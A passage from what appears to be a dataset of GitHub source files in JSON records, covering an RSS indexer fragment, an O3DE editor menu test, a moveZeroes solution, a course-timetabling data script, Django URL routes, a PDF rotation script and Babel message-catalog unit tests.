data.find('.//item[@id=\"%s\"]' % doc_id)\n\n link = item.findtext('./link', '').strip()\n title = item.findtext('./title', '').strip()\n descr = item.findtext('./description', '').strip()\n\n return link, title, descr\n\n def load_xml(self, channel, feed, ids):\n cwd = abspath(dirname(__file__))\n filename = \"%s/%s-%s.xml\" % (dirname(cwd) + '/xml', ids[feed], ids[channel])\n\n if filename not in self.loaded_xmls:\n with open(filename, 'r') as xml_data:\n self.loaded_xmls[filename] = ElementTree.parse(xml_data)\n\n return self.loaded_xmls[filename]\n\n\nif __name__ == '__main__':\n indexer = Indexer()\n indexer.run_index()\n","repo_name":"guiwoda/untref-edd-tp2","sub_path":"feeds/indexer.py","file_name":"indexer.py","file_ext":"py","file_size_in_byte":12954,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"16657643292","text":"def Menus_EditMenuOptions_Work():\n \"\"\"\n Summary:\n Interact with Edit Menu options and verify if all the options are working.\n\n Expected Behavior:\n The Edit menu functions normally.\n\n Test Steps:\n 1) Open an existing level\n 2) Interact with Edit Menu options\n\n Note:\n - This test file must be called from the O3DE Editor command terminal\n - Any passed and failed tests are written to the Editor.log file.\n Parsing the file or running a log_monitor are required to observe the test results.\n\n :return: None\n \"\"\"\n\n import azlmbr.legacy.general as general\n import editor_python_test_tools.hydra_editor_utils as hydra\n import pyside_utils\n from editor_python_test_tools.utils import Report\n from editor_python_test_tools.editor_entity_utils import EditorEntity\n\n edit_menu_options = [\n (\"Undo\",),\n (\"Redo\",),\n (\"Duplicate\",),\n (\"Delete\",),\n (\"Select All\",),\n (\"Invert Selection\",),\n (\"Toggle Pivot Location\",),\n (\"Reset Entity Transform\",),\n (\"Reset Manipulator\",),\n (\"Hide Selection\",),\n (\"Show All\",),\n (\"Lock Selection\",),\n (\"Unlock All Entities\",),\n (\"Modify\", \"Snap\", \"Angle snapping\"),\n (\"Modify\", \"Snap\", \"Grid snapping\"),\n (\"Modify\", \"Transform Mode\", \"Move\"),\n (\"Modify\", \"Transform Mode\", \"Rotate\"),\n (\"Modify\", \"Transform Mode\", \"Scale\"),\n (\"Editor Settings\", \"Global Preferences\"),\n (\"Editor Settings\", \"Editor Settings Manager\"),\n # The following menu options are temporarily disabled due to https://github.com/o3de/o3de/issues/6746\n #(\"Editor Settings\", \"Keyboard Customization\", \"Export Keyboard Settings\"),\n #(\"Editor Settings\", \"Keyboard Customization\", \"Import Keyboard Settings\"),\n ]\n\n # 1) Open an existing simple level\n hydra.open_base_level()\n\n # The action manager doesn't register the menus until the next system tick, so need to wait\n # until the menu bar has been populated\n general.idle_enable(True)\n general.idle_wait_frames(1)\n \n # 2) Some menu items will not display when no entity is selected (For example, Delete or Duplicate)\n # We create an entity as it's the quickest way to have a selection (new entities are selected by default). \n EditorEntity.create_editor_entity()\n general.idle_wait_frames(1)\n\n # 3) Interact with Edit Menu options\n editor_window = pyside_utils.get_editor_main_window()\n for option in edit_menu_options:\n try:\n action = pyside_utils.get_action_for_menu_path(editor_window, \"Edit\", *option)\n Report.info(f\"Triggering {action.iconText()}\")\n action.trigger()\n action_triggered = True\n except Exception as e:\n action_triggered = False\n print(e)\n menu_action_triggered = (\n f\"{action.iconText()} action triggered successfully\",\n f\"Failed to trigger {action.iconText()} action\"\n )\n Report.result(menu_action_triggered, action_triggered)\n\n\nif __name__ == \"__main__\":\n\n from editor_python_test_tools.utils import Report\n Report.start_test(Menus_EditMenuOptions_Work)\n","repo_name":"o3de/o3de","sub_path":"AutomatedTesting/Gem/PythonTests/editor/EditorScripts/Menus_EditMenuOptions.py","file_name":"Menus_EditMenuOptions.py","file_ext":"py","file_size_in_byte":3220,"program_lang":"python","lang":"en","doc_type":"code","stars":7004,"dataset":"github-code","pt":"5"} +{"seq_id":"36255240267","text":"class Solution:\n def moveZeroes(self, nums: List[int]) -> None:\n s=nums.count(0)\n pos=0\n for i in range(len(nums)):\n if nums[i]!=0:\n nums[pos]=nums[i]\n pos+=1\n for i in range(len(nums)-s,len(nums)):\n nums[i]=0\n return nums","repo_name":"Khushisomani/codes","sub_path":"Move zeros.py","file_name":"Move zeros.py","file_ext":"py","file_size_in_byte":312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"3913574519","text":"import pandas as pd\nimport numpy as np\nimport xlrd\nimport math\n\n#importar salas\nroom = pd.read_csv('muni-fi-fal-17/room_capacity.csv',delimiter=';')\n\n#importar cursos\n#cursos tiempo\ncourses_time = pd.read_csv('muni-fi-fal-17/cursos_tiempo.txt',delimiter=',')\n#cursos con salas\ncourses_room = pd.read_csv('muni-fi-fal-17/cursos_sala.txt',delimiter=',')\n\n#cursos con restricciones de distribución\ndistribucion = pd.read_csv('muni-fi-fal-17/rest_dist.csv',delimiter=';')\n\n#estudiantes\nestudiantes = pd.read_csv('muni-fi-fal-17/estudiantes.csv',delimiter=';')\n\n#### conjuntos listos \nrooms = dict()\n#creeación de conjunto de salas\nfor x in room.index: \n rooms[room['id '][x]] = room['capacity'][x]\n\n####Dividir cursos por semanas\nCursos_pares = courses_time[(courses_time['class_weeks'] == '0101010101010')]\nCursos_impares = courses_time[(courses_time['class_weeks'] == '1010101010101')]\n\n##creamos las salas factibles para cada clase\nsalas_factibles = dict()\nclass_id = courses_room['class_id']\nclass_id = np.unique(class_id)\nfor x in class_id:\n salas_factibles[x] = []\nfor i in courses_room.index:\n salas_factibles[courses_room['class_id'][i]].append(courses_room['room_id'][i])\n\n## diccionario con key class_id y el value es class_limit \nclass_limit = dict()\nfor x in courses_time.index:\n class_limit[courses_time['class_id'][x]] = courses_time['class_limit'][x]\n\n##las keys son los courses_id y por el momento el value es una lista vacía\ncourses = dict()\nfor x in courses_time.index:\n courses[courses_time['course_id'][x]] = []\n\n##las clases que requieren salas es la key y el value es su capacidad\ncourses_true = courses_time[(courses_time['class_room'] != False)]\ncourses_true = courses_true.drop(['class_room'], axis = 1)\nclasses_room = dict()\nfor x in courses_true.index:\n classes_room[courses_true['class_id'][x]] = courses_true['class_limit'][x]\n\n## las clases que no requieren salas, salas es la key y el value es su capacidad\ncourses_false = courses_time[(courses_time['class_room'] == False)]\ncourses_false = courses_false.drop(['class_room'], axis = 1)\nclasses_no_room = dict()\nfor x in courses_false.index:\n classes_no_room[courses_false['class_id'][x]] = courses_false['class_limit'][x]\n\n##modulos horarios van del 1 al 6 parten en el 108 y terminan en en 252\nmodulos = dict()\ncount = 0\nfor i in range(1,13):\n modulos[i] = [96 + 12 * count , 108 + 12 * count]\n count += 1\n\n## Cursos cacho con duracion 34 y 46, se hacen dos set\nduration34 = set()\nduration46 = set()\nduration58 = set()\nduration106 = set()\n##conjunto de patrones factibles para la clase c que tiene SALA\npatterns = dict()\n#Rellenamos diccionarios con id de clases con sala\nfor i in classes_room.keys():\n patterns[i] = []\n\n\n##función que cambia los numeros por letras\ndef days_function(semana):\n if semana == 1000000:\n day = 'L'\n return 1\n if semana == 100000:\n day = 'M'\n return 2\n if semana == 10000:\n day = 3\n return day\n if semana == 1000:\n day = 4\n return day\n if semana == 100:\n day = 5\n return day\n if semana == 10:\n day = 6\n return day\n if semana == 1:\n day = 7\n return day\n else:\n pass\n\n#Agregamos patrones posibles\nfor i in courses_true.index:\n if courses_true['length'][i] == 22 or courses_true['length'][i] == 10 or courses_true['length'][i] == 20 :\n try:\n if courses_true['start'][i] == 96 :\n patterns[courses_true['class_id'][i]].append(days_function(courses_true['days'][i]) * 1)\n elif courses_true['start'][i] == 108:\n patterns[courses_true['class_id'][i]].append(days_function(courses_true['days'][i]) * 2)\n elif courses_true['start'][i] == 120:\n patterns[courses_true['class_id'][i]].append(days_function(courses_true['days'][i]) * 3)\n elif courses_true['start'][i] == 144:\n patterns[courses_true['class_id'][i]].append(days_function(courses_true['days'][i]) * 4)\n elif courses_true['start'][i] == 156:\n patterns[courses_true['class_id'][i]].append(days_function(courses_true['days'][i]) * 5)\n elif courses_true['start'][i] == 168:\n patterns[courses_true['class_id'][i]].append(days_function(courses_true['days'][i]) * 6)\n elif courses_true['start'][i] == 180:\n patterns[courses_true['class_id'][i]].append(days_function(courses_true['days'][i]) * 7)\n elif courses_true['start'][i] == 192:\n patterns[courses_true['class_id'][i]].append(days_function(courses_true['days'][i]) * 8)\n elif courses_true['start'][i] == 204:\n patterns[courses_true['class_id'][i]].append(days_function(courses_true['days'][i]) * 9)\n elif courses_true['start'][i] == 216:\n patterns[courses_true['class_id'][i]].append(days_function(courses_true['days'][i]) * 10)\n elif courses_true['start'][i] == 228:\n patterns[courses_true['class_id'][i]].append(days_function(courses_true['days'][i]) * 11)\n elif courses_true['start'][i] == 240:\n patterns[courses_true['class_id'][i]].append(days_function(courses_true['days'][i]) * 12)\n except:\n pass\n if courses_true['length'][i] == 34:\n duration34.add(courses_true['class_id'][i])\n\n if courses_true['length'][i] == 46:\n duration46.add(courses_true['class_id'][i])\n\n if courses_true['length'][i] == 58:\n duration58.add(courses_true['class_id'][i])\n \n if courses_true['length'][i] == 106:\n duration106.add(courses_true['class_id'][i])\n\n#eliminar keys que estén vacías\nfor x in duration34:\n del salas_factibles[x]\n del class_limit[x]\n del classes_room[x]\n del patterns[x]\nfor y in duration46:\n del salas_factibles[y]\n del class_limit[y]\n del classes_room[y]\n del patterns[y]\nfor z in duration58:\n del salas_factibles[z]\n del class_limit[z]\n del classes_room[z]\n del patterns[z]\nfor w in duration106:\n del salas_factibles[w]\n del class_limit[w]\n del classes_room[w]\n del patterns[w]\n\ndelete_patterns = list()\nfor i in patterns:\n if patterns[i] == [] or len(patterns[i]) == 1:\n delete_patterns.append(i)\nfor i in delete_patterns:\n del patterns[i]\ndelete_all = list()\nfor x in class_limit.keys():\n if x not in patterns.keys():\n delete_all.append(x)\n\nfor x in delete_all:\n try:\n del class_limit[x]\n del classes_room[x]\n del salas_factibles[x]\n except:\n pass\n\ndelete_salas = list()\nfor x in salas_factibles:\n if len(salas_factibles[x]) <= 1:\n delete_salas.append(x)\nfor x in delete_salas:\n del salas_factibles[x]\n del classes_room[x]\n\nfor x in patterns:\n patterns[x]= set(patterns[x])\n\nsame_atendees_conjunto = [[]]\nnot_overlap_conjunto = [[]]\nsame_days_conjunto = [[]]\n#same_room_conjunto = [[]]\noverlap_conjunto = [[]]\n\n","repo_name":"fernandovegauc/capstone","sub_path":"python anteriores/Conjuntos_muni-fi.py","file_name":"Conjuntos_muni-fi.py","file_ext":"py","file_size_in_byte":7163,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"44001804845","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom django.conf.urls import url\nfrom django.conf.urls import patterns\nfrom django.views.generic import TemplateView\nfrom django.contrib.auth.decorators import login_required, permission_required\n\n\nfrom qipei.apps.store.views import List, Detail, Update, Index#, Create\n\n\nurlpatterns = patterns('qipei.apps.store',\n\n url(r'^list$',List.as_view(),name=\"list_store\"),\n\n # url(r'^create$',Create.as_view(),name=\"create_store\"),\n\n url(r'^detail/(?P<pk>\\d+)$',Detail.as_view(),name=\"detail_store\"),\n\n url(r'^detail/self/$', 'views.detail_self',name=\"detail_self_store\"),\n\n url(r'^update/(?P<pk>\\d+)$',Update.as_view(),name=\"update_store\",),\n\n url(r'^update/self/$','views.updateSelf',name=\"update_self_store\"),\n\n url(r'^delete/(?P<store_id>\\d+)$','views.delete_store',name=\"delete_store\",),\n\n #ad\n url(r'^ad/update','views.update_store_ad',name=\"update_store_ad\",),\n\n # 商铺首页展示\n url(r'^(?P<store_id>\\d+)/$',Index.as_view(),name=\"store_index\"),\n ## 商铺产品分类 & 查看单个商品\n url(r'^(?P<store_id>\\d+)/classfiy/(?P<sort_id>\\d+).html$','views.classfiy',name='index_store_classfiy'),\n url(r'^(?P<store_id>\\d+)/view/(?P<prod_id>\\d+).html$','views.detail_product',name='index_view_product'),\n\n url(r'^(?P<store_id>\\d+)/comment.html$','views.comment',name='store_comment'),\n\n\n # 测试页面\n url(r'^test$',TemplateView.as_view(template_name = \"index/classfiy.html\"),name=\"test\",),\n)\n\n\n#urlpatterns += patterns('qipei.apps.account',\n# \n# )\n","repo_name":"zhwei/qipei","sub_path":"qipei/apps/store/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1566,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"31413965824","text":"import PyPDF2\r\n\r\nfilename = 'QS_Graduate_Employability_Rankings_2020.pdf'\r\ndoc = open(filename, 'rb')\r\n\r\npdfread = PyPDF2.PdfFileReader(doc)\r\n\r\nrotatedpdf = PyPDF2.PdfFileWriter()\r\n\r\nfor page in range(pdfread.numPages):\r\n pageobj = pdfread.getPage(page)\r\n pageobj.rotateClockwise(90)\r\n rotatedpdf.addPage(pageobj)\r\n\r\nnewfile = open('rotated' + filename, 'wb')\r\nrotatedpdf.write(newfile)\r\nnewfile.close()\r\ndoc.close()\r\n\r\n","repo_name":"philomath242/Parsing","sub_path":"PDFrotation.py","file_name":"PDFrotation.py","file_ext":"py","file_size_in_byte":429,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"72925068559","text":"import copy\nimport datetime\nimport unittest\nfrom io import StringIO\n\nfrom babel.dates import UTC, format_datetime\nfrom babel.messages import catalog, pofile\nfrom babel.util import FixedOffsetTimezone\n\n\nclass MessageTestCase(unittest.TestCase):\n\n def test_python_format(self):\n assert catalog.PYTHON_FORMAT.search('foo %d bar')\n assert catalog.PYTHON_FORMAT.search('foo %s bar')\n assert catalog.PYTHON_FORMAT.search('foo %r bar')\n assert catalog.PYTHON_FORMAT.search('foo %(name).1f')\n assert catalog.PYTHON_FORMAT.search('foo %(name)3.3f')\n assert catalog.PYTHON_FORMAT.search('foo %(name)3f')\n assert catalog.PYTHON_FORMAT.search('foo %(name)06d')\n assert catalog.PYTHON_FORMAT.search('foo %(name)Li')\n assert catalog.PYTHON_FORMAT.search('foo %(name)#d')\n assert catalog.PYTHON_FORMAT.search('foo %(name)-4.4hs')\n assert catalog.PYTHON_FORMAT.search('foo %(name)*.3f')\n assert catalog.PYTHON_FORMAT.search('foo %(name).*f')\n assert catalog.PYTHON_FORMAT.search('foo %(name)3.*f')\n assert catalog.PYTHON_FORMAT.search('foo %(name)*.*f')\n assert catalog.PYTHON_FORMAT.search('foo %()s')\n\n def test_translator_comments(self):\n mess = catalog.Message('foo', user_comments=['Comment About `foo`'])\n assert mess.user_comments == ['Comment About `foo`']\n mess = catalog.Message('foo',\n auto_comments=['Comment 1 About `foo`',\n 'Comment 2 About `foo`'])\n assert mess.auto_comments == ['Comment 1 About `foo`', 'Comment 2 About `foo`']\n\n def test_clone_message_object(self):\n msg = catalog.Message('foo', locations=[('foo.py', 42)])\n clone = msg.clone()\n clone.locations.append(('bar.py', 42))\n assert msg.locations == [('foo.py', 42)]\n msg.flags.add('fuzzy')\n assert not clone.fuzzy and msg.fuzzy\n\n\nclass CatalogTestCase(unittest.TestCase):\n\n def test_add_returns_message_instance(self):\n cat = catalog.Catalog()\n message = cat.add('foo')\n assert message.id == 'foo'\n\n def test_two_messages_with_same_singular(self):\n cat = catalog.Catalog()\n cat.add('foo')\n cat.add(('foo', 'foos'))\n assert len(cat) == 1\n\n def test_duplicate_auto_comment(self):\n cat = catalog.Catalog()\n cat.add('foo', auto_comments=['A comment'])\n cat.add('foo', auto_comments=['A comment', 'Another comment'])\n assert cat['foo'].auto_comments == ['A comment', 'Another comment']\n\n def test_duplicate_user_comment(self):\n cat = catalog.Catalog()\n cat.add('foo', user_comments=['A comment'])\n cat.add('foo', user_comments=['A comment', 'Another comment'])\n assert cat['foo'].user_comments == ['A comment', 'Another comment']\n\n def test_duplicate_location(self):\n cat = catalog.Catalog()\n cat.add('foo', locations=[('foo.py', 1)])\n cat.add('foo', locations=[('foo.py', 1)])\n assert cat['foo'].locations == [('foo.py', 1)]\n\n def test_update_message_changed_to_plural(self):\n cat = catalog.Catalog()\n cat.add('foo', 'Voh')\n tmpl = catalog.Catalog()\n tmpl.add(('foo', 'foos'))\n cat.update(tmpl)\n assert cat['foo'].string == ('Voh', '')\n assert cat['foo'].fuzzy\n\n def test_update_message_changed_to_simple(self):\n cat = catalog.Catalog()\n cat.add('foo' 'foos', ('Voh', 'Vöhs'))\n tmpl = catalog.Catalog()\n tmpl.add('foo')\n cat.update(tmpl)\n assert cat['foo'].string == 'Voh'\n assert cat['foo'].fuzzy\n\n def test_update_message_updates_comments(self):\n cat = catalog.Catalog()\n cat['foo'] = catalog.Message('foo', locations=[('main.py', 5)])\n assert cat['foo'].auto_comments == []\n assert cat['foo'].user_comments == []\n # Update cat[u'foo'] with a new location and a comment\n cat['foo'] = catalog.Message('foo', locations=[('main.py', 7)],\n user_comments=['Foo Bar comment 1'])\n assert cat['foo'].user_comments == ['Foo Bar comment 1']\n # now add yet another location with another comment\n cat['foo'] = catalog.Message('foo', locations=[('main.py', 9)],\n auto_comments=['Foo Bar comment 2'])\n assert cat['foo'].auto_comments == ['Foo Bar comment 2']\n\n def test_update_fuzzy_matching_with_case_change(self):\n cat = catalog.Catalog()\n cat.add('FOO', 'Voh')\n cat.add('bar', 'Bahr')\n tmpl = catalog.Catalog()\n tmpl.add('foo')\n cat.update(tmpl)\n assert len(cat.obsolete) == 1\n assert 'FOO' not in cat\n\n assert cat['foo'].string == 'Voh'\n assert cat['foo'].fuzzy is True\n\n def test_update_fuzzy_matching_with_char_change(self):\n cat = catalog.Catalog()\n cat.add('fo', 'Voh')\n cat.add('bar', 'Bahr')\n tmpl = catalog.Catalog()\n tmpl.add('foo')\n cat.update(tmpl)\n assert len(cat.obsolete) == 1\n assert 'fo' not in cat\n\n assert cat['foo'].string == 'Voh'\n assert cat['foo'].fuzzy is True\n\n def test_update_fuzzy_matching_no_msgstr(self):\n cat = catalog.Catalog()\n cat.add('fo', '')\n tmpl = catalog.Catalog()\n tmpl.add('fo')\n tmpl.add('foo')\n cat.update(tmpl)\n assert 'fo' in cat\n assert 'foo' in cat\n\n assert cat['fo'].string == ''\n assert cat['fo'].fuzzy is False\n assert cat['foo'].string is None\n assert cat['foo'].fuzzy is False\n\n def test_update_fuzzy_matching_with_new_context(self):\n cat = catalog.Catalog()\n cat.add('foo', 'Voh')\n cat.add('bar', 'Bahr')\n tmpl = catalog.Catalog()\n tmpl.add('Foo', context='Menu')\n cat.update(tmpl)\n assert len(cat.obsolete) == 1\n assert 'foo' not in cat\n\n message = cat.get('Foo', 'Menu')\n assert message.string == 'Voh'\n assert message.fuzzy is True\n assert message.context == 'Menu'\n\n def test_update_fuzzy_matching_with_changed_context(self):\n cat = catalog.Catalog()\n cat.add('foo', 'Voh', context='Menu|File')\n cat.add('bar', 'Bahr', context='Menu|File')\n tmpl = catalog.Catalog()\n tmpl.add('Foo', context='Menu|Edit')\n cat.update(tmpl)\n assert len(cat.obsolete) == 1\n assert cat.get('Foo', 'Menu|File') is None\n\n message = cat.get('Foo', 'Menu|Edit')\n assert message.string == 'Voh'\n assert message.fuzzy is True\n assert message.context == 'Menu|Edit'\n\n def test_update_fuzzy_matching_no_cascading(self):\n cat = catalog.Catalog()\n cat.add('fo', 'Voh')\n cat.add('foo', 'Vohe')\n tmpl = catalog.Catalog()\n tmpl.add('fo')\n tmpl.add('foo')\n tmpl.add('fooo')\n cat.update(tmpl)\n assert 'fo' in cat\n assert 'foo' in cat\n\n assert cat['fo'].string == 'Voh'\n assert cat['fo'].fuzzy is False\n assert cat['foo'].string == 'Vohe'\n assert cat['foo'].fuzzy is False\n assert cat['fooo'].string == 'Vohe'\n assert cat['fooo'].fuzzy is True\n\n def test_update_fuzzy_matching_long_string(self):\n lipsum = \"\\\nLorem Ipsum is simply dummy text of the printing and typesetting \\\nindustry. Lorem Ipsum has been the industry's standard dummy text ever \\\nsince the 1500s, when an unknown printer took a galley of type and \\\nscrambled it to make a type specimen book. It has survived not only \\\nfive centuries, but also the leap into electronic typesetting, \\\nremaining essentially unchanged. It was popularised in the 1960s with \\\nthe release of Letraset sheets containing Lorem Ipsum passages, and \\\nmore recently with desktop publishing software like Aldus PageMaker \\\nincluding versions of Lorem Ipsum.\"\n cat = catalog.Catalog()\n cat.add(\"ZZZZZZ \" + lipsum, \"foo\")\n tmpl = catalog.Catalog()\n tmpl.add(lipsum + \" ZZZZZZ\")\n cat.update(tmpl)\n assert cat[lipsum + \" ZZZZZZ\"].fuzzy is True\n assert len(cat.obsolete) == 0\n\n def test_update_without_fuzzy_matching(self):\n cat = catalog.Catalog()\n cat.add('fo', 'Voh')\n cat.add('bar', 'Bahr')\n tmpl = catalog.Catalog()\n tmpl.add('foo')\n cat.update(tmpl, no_fuzzy_matching=True)\n assert len(cat.obsolete) == 2\n\n def test_fuzzy_matching_regarding_plurals(self):\n cat = catalog.Catalog()\n cat.add(('foo', 'foh'), ('foo', 'foh'))\n ru = copy.copy(cat)\n ru.locale = 'ru_RU'\n ru.update(cat)\n assert ru['foo'].fuzzy is True\n ru = copy.copy(cat)\n ru.locale = 'ru_RU'\n ru['foo'].string = ('foh', 'fohh', 'fohhh')\n ru.update(cat)\n assert ru['foo'].fuzzy is False\n\n def test_update_no_template_mutation(self):\n tmpl = catalog.Catalog()\n tmpl.add('foo')\n cat1 = catalog.Catalog()\n cat1.add('foo', 'Voh')\n cat1.update(tmpl)\n cat2 = catalog.Catalog()\n cat2.update(tmpl)\n\n assert cat2['foo'].string is None\n assert cat2['foo'].fuzzy is False\n\n def test_update_po_updates_pot_creation_date(self):\n template = catalog.Catalog()\n localized_catalog = copy.deepcopy(template)\n localized_catalog.locale = 'de_DE'\n assert template.mime_headers != localized_catalog.mime_headers\n assert template.creation_date == localized_catalog.creation_date\n template.creation_date = datetime.datetime.now() - \\\n datetime.timedelta(minutes=5)\n localized_catalog.update(template)\n assert template.creation_date == localized_catalog.creation_date\n\n def test_update_po_ignores_pot_creation_date(self):\n template = catalog.Catalog()\n localized_catalog = copy.deepcopy(template)\n localized_catalog.locale = 'de_DE'\n assert template.mime_headers != localized_catalog.mime_headers\n assert template.creation_date == localized_catalog.creation_date\n template.creation_date = datetime.datetime.now() - \\\n datetime.timedelta(minutes=5)\n localized_catalog.update(template, update_creation_date=False)\n assert template.creation_date != localized_catalog.creation_date\n\n def test_update_po_keeps_po_revision_date(self):\n template = catalog.Catalog()\n localized_catalog = copy.deepcopy(template)\n localized_catalog.locale = 'de_DE'\n fake_rev_date = datetime.datetime.now() - datetime.timedelta(days=5)\n localized_catalog.revision_date = fake_rev_date\n assert template.mime_headers != localized_catalog.mime_headers\n assert template.creation_date == localized_catalog.creation_date\n template.creation_date = datetime.datetime.now() - \\\n datetime.timedelta(minutes=5)\n localized_catalog.update(template)\n assert localized_catalog.revision_date == fake_rev_date\n\n def test_stores_datetime_correctly(self):\n localized = catalog.Catalog()\n localized.locale = 'de_DE'\n localized[''] = catalog.Message('',\n \"POT-Creation-Date: 2009-03-09 15:47-0700\\n\" +\n \"PO-Revision-Date: 2009-03-09 15:47-0700\\n\")\n for key, value in localized.mime_headers:\n if key in ('POT-Creation-Date', 'PO-Revision-Date'):\n assert value == '2009-03-09 15:47-0700'\n\n def test_mime_headers_contain_same_information_as_attributes(self):\n cat = catalog.Catalog()\n cat[''] = catalog.Message('',\n \"Last-Translator: Foo Bar <foo.bar@example.com>\\n\" +\n \"Language-Team: de <de@example.com>\\n\" +\n \"POT-Creation-Date: 2009-03-01 11:20+0200\\n\" +\n \"PO-Revision-Date: 2009-03-09 15:47-0700\\n\")\n assert cat.locale is None\n mime_headers = dict(cat.mime_headers)\n\n assert cat.last_translator == 'Foo Bar <foo.bar@example.com>'\n assert mime_headers['Last-Translator'] == 'Foo Bar <foo.bar@example.com>'\n\n assert cat.language_team == 'de <de@example.com>'\n assert mime_headers['Language-Team'] == 'de <de@example.com>'\n\n dt = datetime.datetime(2009, 3, 9, 15, 47, tzinfo=FixedOffsetTimezone(-7 * 60))\n assert cat.revision_date == dt\n formatted_dt = format_datetime(dt, 'yyyy-MM-dd HH:mmZ', locale='en')\n assert mime_headers['PO-Revision-Date'] == formatted_dt\n\n\ndef test_message_fuzzy():\n assert not catalog.Message('foo').fuzzy\n msg = catalog.Message('foo', 'foo', flags=['fuzzy'])\n assert msg.fuzzy\n assert msg.id == 'foo'\n\n\ndef test_message_pluralizable():\n assert not catalog.Message('foo').pluralizable\n assert catalog.Message(('foo', 'bar')).pluralizable\n\n\ndef test_message_python_format():\n assert catalog.Message('foo %(name)s bar').python_format\n assert catalog.Message(('foo %(name)s', 'foo %(name)s')).python_format\n\n\ndef test_catalog():\n cat = catalog.Catalog(project='Foobar', version='1.0',\n copyright_holder='Foo Company')\n assert cat.header_comment == (\n '# Translations template for Foobar.\\n'\n '# Copyright (C) %(year)d Foo Company\\n'\n '# This file is distributed under the same '\n 'license as the Foobar project.\\n'\n '# FIRST AUTHOR <EMAIL@ADDRESS>, %(year)d.\\n'\n '#') % {'year': datetime.date.today().year}\n\n cat = catalog.Catalog(project='Foobar', version='1.0',\n copyright_holder='Foo Company')\n cat.header_comment = (\n '# The POT for my really cool PROJECT project.\\n'\n '# Copyright (C) 1990-2003 ORGANIZATION\\n'\n '# This file is distributed under the same license as the PROJECT\\n'\n '# project.\\n'\n '#\\n')\n assert cat.header_comment == (\n '# The POT for my really cool Foobar project.\\n'\n '# Copyright (C) 1990-2003 Foo Company\\n'\n '# This file is distributed under the same license as the Foobar\\n'\n '# project.\\n'\n '#\\n')\n\n\ndef test_catalog_mime_headers():\n created = datetime.datetime(1990, 4, 1, 15, 30, tzinfo=UTC)\n cat = catalog.Catalog(project='Foobar', version='1.0',\n creation_date=created)\n assert cat.mime_headers == [\n ('Project-Id-Version', 'Foobar 1.0'),\n ('Report-Msgid-Bugs-To', 'EMAIL@ADDRESS'),\n ('POT-Creation-Date', '1990-04-01 15:30+0000'),\n ('PO-Revision-Date', 'YEAR-MO-DA HO:MI+ZONE'),\n ('Last-Translator', 'FULL NAME <EMAIL@ADDRESS>'),\n ('Language-Team', 'LANGUAGE <LL@li.org>'),\n ('MIME-Version', '1.0'),\n ('Content-Type', 'text/plain; charset=utf-8'),\n ('Content-Transfer-Encoding', '8bit'),\n ('Generated-By', f'Babel {catalog.VERSION}\\n'),\n ]\n\n\ndef test_catalog_mime_headers_set_locale():\n created = datetime.datetime(1990, 4, 1, 15, 30, tzinfo=UTC)\n revised = datetime.datetime(1990, 8, 3, 12, 0, tzinfo=UTC)\n cat = catalog.Catalog(locale='de_DE', project='Foobar', version='1.0',\n creation_date=created, revision_date=revised,\n last_translator='John Doe <jd@example.com>',\n language_team='de_DE <de@example.com>')\n assert cat.mime_headers == [\n ('Project-Id-Version', 'Foobar 1.0'),\n ('Report-Msgid-Bugs-To', 'EMAIL@ADDRESS'),\n ('POT-Creation-Date', '1990-04-01 15:30+0000'),\n ('PO-Revision-Date', '1990-08-03 12:00+0000'),\n ('Last-Translator', 'John Doe <jd@example.com>'),\n ('Language', 'de_DE'),\n ('Language-Team', 'de_DE <de@example.com>'),\n ('Plural-Forms', 'nplurals=2; plural=(n != 1);'),\n ('MIME-Version', '1.0'),\n ('Content-Type', 'text/plain; charset=utf-8'),\n ('Content-Transfer-Encoding', '8bit'),\n ('Generated-By', f'Babel {catalog.VERSION}\\n'),\n ]\n\n\ndef test_catalog_num_plurals():\n assert catalog.Catalog(locale='en').num_plurals == 2\n assert catalog.Catalog(locale='ga').num_plurals == 5\n\n\ndef test_catalog_plural_expr():\n assert catalog.Catalog(locale='en').plural_expr == '(n != 1)'\n assert (catalog.Catalog(locale='ga').plural_expr\n == '(n==1 ? 0 : n==2 ? 1 : n>=3 && n<=6 ? 2 : n>=7 && n<=10 ? 3 : 4)')\n\n\ndef test_catalog_plural_forms():\n assert (catalog.Catalog(locale='en').plural_forms\n == 'nplurals=2; plural=(n != 1);')\n assert (catalog.Catalog(locale='pt_BR').plural_forms\n == 'nplurals=2; plural=(n > 1);')\n\n\ndef test_catalog_setitem():\n cat = catalog.Catalog()\n cat['foo'] = catalog.Message('foo')\n assert cat['foo'].id == 'foo'\n\n cat = catalog.Catalog()\n cat['foo'] = catalog.Message('foo', locations=[('main.py', 1)])\n assert cat['foo'].locations == [('main.py', 1)]\n cat['foo'] = catalog.Message('foo', locations=[('utils.py', 5)])\n assert cat['foo'].locations == [('main.py', 1), ('utils.py', 5)]\n\n\ndef test_catalog_add():\n cat = catalog.Catalog()\n foo = cat.add('foo')\n assert foo.id == 'foo'\n assert cat['foo'] is foo\n\n\ndef test_catalog_update():\n template = catalog.Catalog(header_comment=\"# A Custom Header\")\n template.add('green', locations=[('main.py', 99)])\n template.add('blue', locations=[('main.py', 100)])\n template.add(('salad', 'salads'), locations=[('util.py', 42)])\n cat = catalog.Catalog(locale='de_DE')\n cat.add('blue', 'blau', locations=[('main.py', 98)])\n cat.add('head', 'Kopf', locations=[('util.py', 33)])\n cat.add(('salad', 'salads'), ('Salat', 'Salate'),\n locations=[('util.py', 38)])\n\n cat.update(template)\n assert len(cat) == 3\n\n msg1 = cat['green']\n assert not msg1.string\n assert msg1.locations == [('main.py', 99)]\n\n msg2 = cat['blue']\n assert msg2.string == 'blau'\n assert msg2.locations == [('main.py', 100)]\n\n msg3 = cat['salad']\n assert msg3.string == ('Salat', 'Salate')\n assert msg3.locations == [('util.py', 42)]\n\n assert 'head' not in cat\n assert list(cat.obsolete.values())[0].id == 'head'\n\n cat.update(template, update_header_comment=True)\n assert cat.header_comment == template.header_comment # Header comment also gets updated\n\n\ndef test_datetime_parsing():\n val1 = catalog._parse_datetime_header('2006-06-28 23:24+0200')\n assert 